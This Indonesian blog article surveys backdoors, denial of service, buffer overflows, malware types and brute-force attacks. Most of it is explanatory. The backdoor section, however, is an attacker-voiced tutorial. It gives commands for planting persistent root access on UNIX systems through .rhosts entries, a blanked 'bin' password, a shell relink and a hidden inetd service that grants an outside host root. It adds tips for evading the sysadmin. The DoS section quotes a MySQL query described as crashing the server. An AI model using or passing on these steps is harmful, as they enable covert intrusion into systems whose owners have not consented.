Artikel Mengenai Backdoor,Dos (Denial of services),Buffer Overflows,Marware,Brute Froce
- Backdoor
>
Seperti terjemahan harfiahnya, backdoor bisa dianggap ‘pintu masuk lewat belakang’. Backdoor berfungsi untuk memberikan sang programmer akses ke suatu sistem, tanpa sepengetahuan user lain ataupun sang si admin. Tentu saja sang programer di sini bisa juga diartikan ‘sang penyusup’. Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar (baik hardware maupun software ) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan ‘maintenance’ dan sejenisnya, dalam artikel ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan menyadari bahwa ada penyerang di dalam sistem.
Contohnya Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root. Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu atau lebih jalan masuk ‘alternatif’. Jelas, sebagian besar teknik-teknik backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.
Tujuan membuat backdoor bukanlah untuk mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap selama file-file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan ditolak.
Cara membuat backdoor di sebuah system UNIX.
Jalan termudah (dan yang paling gampang ditangkap) adalah dengan melalui file /.rhosts:
korban# echo “indohack2.ri.go.id ganjaman” >> /.rhosts
perintah diatas akan menambah satu entri di file .rhosts (sistem luar
- Dalam contoh diatas user ganjaman dari indohack2.ri.go.id yang boleh mengakses account tanpa password), dan untuk masuk kembali ke sistem dari account “ganjaman” di indohack2.ri.go.id :
Ganjaman indohack2> rlogin -l root korban.lameisp.net.id
poof! shell root tanpa password!
Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan
entri berikut dari file /etc/passwd sebuah sistem:
bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false
tentunya bagi mereka yang sering memanen password entri seperti di atas sudah tidak asing lagi. Account diatas adalah account yang digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login “bin” tidak memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun kita bisa me- rlogin -l binkorban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan shell sebab account ‘bin’ dikonfigurasikan untuk menolak penggunaan shell.
- Cara mengatasi masalah ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau /bin/tcsh.
Apa daya seorang sysadmin? Tentunya jika mereka memang keren kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau string unik lainnya yang bukan merupakan nama file. Metode backdooring lain adalah dengan memanfaatkan “in.rootd” (sebenernya ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada tuh yang namanya root daemon – tapi metode ini benar-benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam “inetd”:
root@korban# echo “ntcp 6969/tcp # Network Traffic Control Protocol” >>
/etc/services
root@korban# echo “ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r” >>
/etc/inetd.conf
root@korban# echo “echo indohack2.ri.go.id > ~root/.rhosts” > /tmp/crax0r
- Menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem
yang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketiga
perintah diatas:
- mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024 sampai 65000-an), sedangkan “Network Traffic Control Protocol” adalah karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya sysadmin tidak akan begitu curiga dengan nama seperti itu.
- memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan perintah-perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001).
- Perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang baru saja kita luncurkan (id=0 – root!). Tentunya kamu bisa saja menulis skrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkan saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root. Tentu jika sang admin memang keren kung funya, rlogind akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu periksa isi direktori dan file “history” milik root dan isinya menunjukkan bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk lewat belakang ke dalam sistem target.
- DoS
>
Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
- Mematikan Server
- Menyibukkan Server
- Tanpa bug/vulnerability
- Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
- Ping of Death ( CA-1996-26 )
Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
- MySQL IF Query DoS ( SA25188 )
Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
- Cisco Global Site Selector DNS Request Denial of Service (SA33429)
Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit. Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
- Exploiting vulnerability: Menyerang dengan malicious request/packet
- No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
- TCP SYN Flood DoS
Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.
Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
- Apache mod_deflate DoS
Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.
Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.
Courtesy of: http://www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
- Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
- Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
- Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
- Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.
Buffer Overflow
Kelemahan Buffer overflow adalah salah satu dari banyak kelemahan dari keamanan komputer.Kelemahan jenis ini dapat digunakan pada remote access atau local access, karena ini dapat memberikan si Attacker kesempatan untuk melanjarkan jurus-jurus dengan koding dikomputer target.Serangan Buffer overflow terjadi ketika si Attacker memberikan input yang berlebihan pada program yang di jalankan, sehingga program mengalami kelebihan muatan dan memory tidak dapat mengalokasikannya. Ini memberikan kesempatan kepada Attacker untuk menindih data pada program dan men-takeover kontroll program yang dieksekusi attacker.Buffee overflow hasil dari dari kelemahan bahasa pemrograman c, c++, fortran, dan assembly, yang tidak secara otomatis melakukan pengecekan batas input ketika program dieksekusi. Sebagai akibat dari Buffer overflow dapat menyebatkan crash pada program, atau mempersilahkan si Attacker untuk mengeksekusi perintah atau koding jahatnya untuk menguasai sistem target, seperti tujuan mengambil alih akun root menggunakan metode Buffer overflow.- Ada beberapa macam Buffer Overflow exploit seperti Stack-based Overflow, Heap dan BSS Based Overflow, dan Format Strings Based.
Malware
Malware ini sebenarnya memiliki nama lengkap malicious software. Malware adalah istilah umum yang digunakan untuk software atau program yang dirancang bertujuan menyusup atau merusak sebuah sistem komputer secara diam-diam. Sekali lagi, istilah malware ini tidak begitu akrab di telinga sebagian pengguna internet. Dalam bahasa kita sehari-hari kita lebih sering menyebut virus meskipun sebenarnya kurang tepat, media massa bahkan sangat sering menggunakan istilah ini. Sebuah software disebut sebagai malware lebih karena faktor tujuan pembuatannya, daripada fitur-fitur khusus yang dimilikinya. Malware mencakup virus, worm, trojan horse, sebagian besar rootkit, spyware,adware yang tidak jujur, serta software-software lain yang berbahaya dan tidak diinginkan oleh pengguna PC.
Berdasarkan sifat dan tujuannya malware dikategorikan ke dalam tiga kelompok.- Kelompok pertama adalah malware yang menginfeksi komputer, yakni virus dan worm.
- Kelompok kedua adalah malware yang bersembunyi (bergerilya) di dalam komputer, antara lain trojan horse, rootkit, dan backdoor.
- Kelompok ketiga adalah malware yang mencari dan mencuri keuntungan, yaitu spyware, adware yang tidak jujur, botnet, keystroke loggerdan dialer.
Contoh dari malware adalah Virus, Worm, Wabbit, Keylogger, Browser Hijacker, Trojan Horse, Spyware, Backdoor, Dialer, Exploit dan rootkit .Virus
Inilah istilah yang sering dipakai untuk seluruh jenis perangkat lunak yang mengganggu computer. Bisa jadi karena inilah tipe malware pertama yang muncul. Virus bisa bersarang di banyak tipe file. Tapi boleh dibilang, target utama virus adalah file yang bisa dijalankan seperti EXE, COM dan VBS, yang menjadi bagian dari suatu perangkat lunak. Boot sector juga sering dijadikan sasaran virus untuk bersarang. Beberapa file dokumen juga bisa dijadikan sarang oleh virus.
Penyebaran ke komputer lain dilakukan dengan bantuan pengguna komputer. Saat file yang terinfeksi dijalankan di komputer lain, kemungkinan besar komputer lain itu akan terinfeksi pula. Virus mencari file lain yang bisa diserangnya dan kemudian bersarang di sana.
Bisa juga virus menyebar melalui jaringan peer-to-peer yang sudah tak asing digunakan orang untuk berbagi file.Worm
Worm alias cacing, begitu sebutannya. Kalau virus bersarang pada suatu program atau dokumen, cacing-cacing ini tidak demikan. Cacing adalah sebuah program yang berdiri sendiri dan tidak membutuhkan sarang untuk menyebarkan diri. Hebatnya lagi, cacing bisa saja tidak memerlukan bantuan orang untuk penyebarannya. Melalui jaringan, cacing bisa “bertelur” di komputer-komputer yang terhubung dalam suatu kerapuhan (vulnerability) dari suatu sistem, biasanya sistem operasi. Setelah masuk ke dalam suatu komputer, worm memodifikasi beberapa pengaturan di sistem operasi agar tetap hidup. Minimal, ia memasukkan diri dalam proses boot suatu komputer. Lainnya, mungkin mematikan akses ke situs antivirus, menonaktifkan fitur keamanan di sistem dan tindakan lain.Wabbit
Istilah ini mungkin asing, tapi memang ada malware tipe ini. Seperti worm, wabbit tidak membutuhkan suatu program dan dokumen untuk bersarang. Tetapi berbeda dengan worm yang menyebarkan diri ke komputer lain menggunakan jaringan, wabbit menggandakan diri secara terus-menerus didalam sebuah komputer lokal dan hasil penggandaan itu akan menggerogoti sistem. Kinerja komputer akan melambat karena wabbit memakan sumber data yang lumayan banyak. Selain memperlambat kinerja komputer karena penggunaan sumber daya itu, wabbit bisa deprogram untuk memiliki efek samping yang efeknya mirip dengan malware lain. Kombinasi-kombinasi malware seperti inilah yang bisa sangat berbahaya.Keylogger
Hati-hati kalau berinternet di warnet. Bisa saja pada komputer di warnet itu diinstall suatu perangkat lunak yang dikenal dengan istilah keylogger yang mencatat semua tekanan tombol keyboard. Catatan yang disimpan dalam suatu file yang bisa dilihat kemudian itu lengkap. Di dalamnya bisa terdapat informasi seperti aplikasi tempat penekanan tombol dilakukan dan waktu penekanan. Dengan cara ini, seseorang bisa mengetahui username, password dan berbagai informasi lain yang dimasukkan dengan cara pengetikan. Pada tingkat yang lebih canggih, keylogger mengirimkan log yang biasanya berupa file teks itu ke seseorang. Tentu saja itu dilakukan tanpa sepengetahuan si korban. Pada tingkat ini pula keylogger bisa mengaktifkan diri ketika pengguna komputer melakukan tindakan tertentu. Misalnya begini. Ketika pengguna komputer membuka situs e-banking, keylogger aktif dan mencatat semua tekanan pada keylogger aktif dan mencatat semua tekanan pada keyboard aktif dan mencatat semua tekanan pada keyboard di situs itu dengan harapan nomor PIN dapat dicatat.Keylogger ini cukup berbahaya karena secanggih apa pun enkripsi yang diterapkan oleh suatu website, password tetap dapat diambil. Pasalnya, password itu diambil sebelum sempat dienkripsi oleh system. Jelas dong. Keylogger merekam sesaat setelah password diketikkan dan belum diproses oleh system.Browser Hijacker
Browser hijacker mengarahkan browser yang seharusnya menampilkan situs yang sesuai dengan alamat yang dimasukkan ke situs lain. Itu contoh paling parah dari gangguan yang disebabkan oleh browser hijacker. Contoh lain yang bisa dilakukan oleh pembajak ini adalah menambahkan bookmark, mengganti home page, serta mengubah pengaturan browser. Bicara mengenai browser di sini boleh yakin 100% browser yang dibicarakan adalah internet explorer. Selain karena internet explorer adalah buatan Microsoft, raksasa penghasil perangkat lunak yang produknya sering dijadikan sasaran serangan cracker, internet explorer adalah browser yang paling banyak digunakan orang berinternet. Tak heran, internet explorer telah menyatu dengan Windows, sistem operasi milik Microsoft yang juga banyak diserbu oleh cracker.Trojan Horse
Kuda Troya adalah malware yang seolah-olah merupakan program yang berguna, menghibur dan menyelamatkan, padahal di balik itu, ia merusak. Kuda ini bisa ditunggangi oleh malware lain seperti seperti virus, worm, spyware. Kuda Troya dapat digunakan untuk menyebarkan atau mengaktifkan mereka.Spyware
Spyware adalah perangkat lunak yang mengumpulkan dan mengirim informasi tentang pengguna komputer tanpa diketahui oleh si pengguna itu. Informasinya bisa yang tidak terlampau berbahaya seperti pola berkomputer, terutama berinternet, seseorang sampai yang berbahaya seperti nomor kartu kredit, PIN untuk perbankan elektronik (e-banking) dan password suatu account. Informasi tentang pola berinternet, telah disebutkan, tidak terlampau berbahaya. Situs yang dikunjungi, informasi yang kerap dicari, obrolan di ruang chat akan dimata-matai oleh si spyware.Selanjutnya, informasi itu digunakan untuk menampilkan iklan yang biasanya berupa jendela pop-up. Iklan itu berhubungan dengan kebiasaan seseorang berinternet. Misalnya kerap kali seseorang mencari informasi mengenai kamera digital. Jendela pop-up yang muncul akan menampilkan, misalnya situs yang berdagang kamera digital. Adware adalah istilah untuk spyware yang begini. Penyebaran spyware mirip dengan Trojan. Contohnya, flashget. Ketika flashget yang dipakai belum diregister, flashget bertindak sebagai spyware. Coba saja hubungkan diri ke internet, jalankan flashget yang belum diregister, cuekin computer beberapa saat, pasti muncul jendela internet explorer yang menampilkan iklan suatu situs.Brute Force
Serangan brute-force adalah sebuah teknik serangan terhadap sebuah sistem keamanan komputer yang menggunakan percobaan terhadap semua kunci yang mungkin. Pendekatan ini pada awalnya merujuk pada sebuah program komputer yang mengandalkan kekuatan pemrosesan komputer dibandingkan kecerdasan manusia. Sebagai contoh, untuk menyelesaikan sebuah persamaan kuadrat seperti x²+7x-44=0, di mana x adalah sebuah integer, dengan menggunakan teknik serangan brute-force, penggunanya hanya dituntut untuk membuat program yang mencoba semua nilai integer yang mungkin untuk persamaan tersebut hingga nilai x sebagai jawabannya muncul. Istilah brute force sendiri dipopulerkan oleh Kenneth Thompson, dengan mottonya: “When in doubt, use brute-force” (jika ragu, gunakan brute-force). Teknik yang paling banyak digunakan untuk memecahkan password, kunci, kode atau kombinasi.- Cara kerja metode ini sangat sederhana yaitu mencoba semua kombinasi yang mungkin. Sebuah password dapat dibongkar dengan menggunakan program yang disebut sebagai password cracker. Program password cracker adalah program yang mencoba membuka sebuah password yang telah terenkripsi dengan menggunakan sebuah algoritma tertentu dengan cara mencoba semua kemungkinan. Teknik ini sangatlah sederhana, tapi efektivitasnya luar biasa, dan tidak ada satu pun sistem yang aman dari serangan ini, meski teknik ini memakan waktu yang sangat lama, khususnya untuk password yang rumit.

0 komentar:
Posting Komentar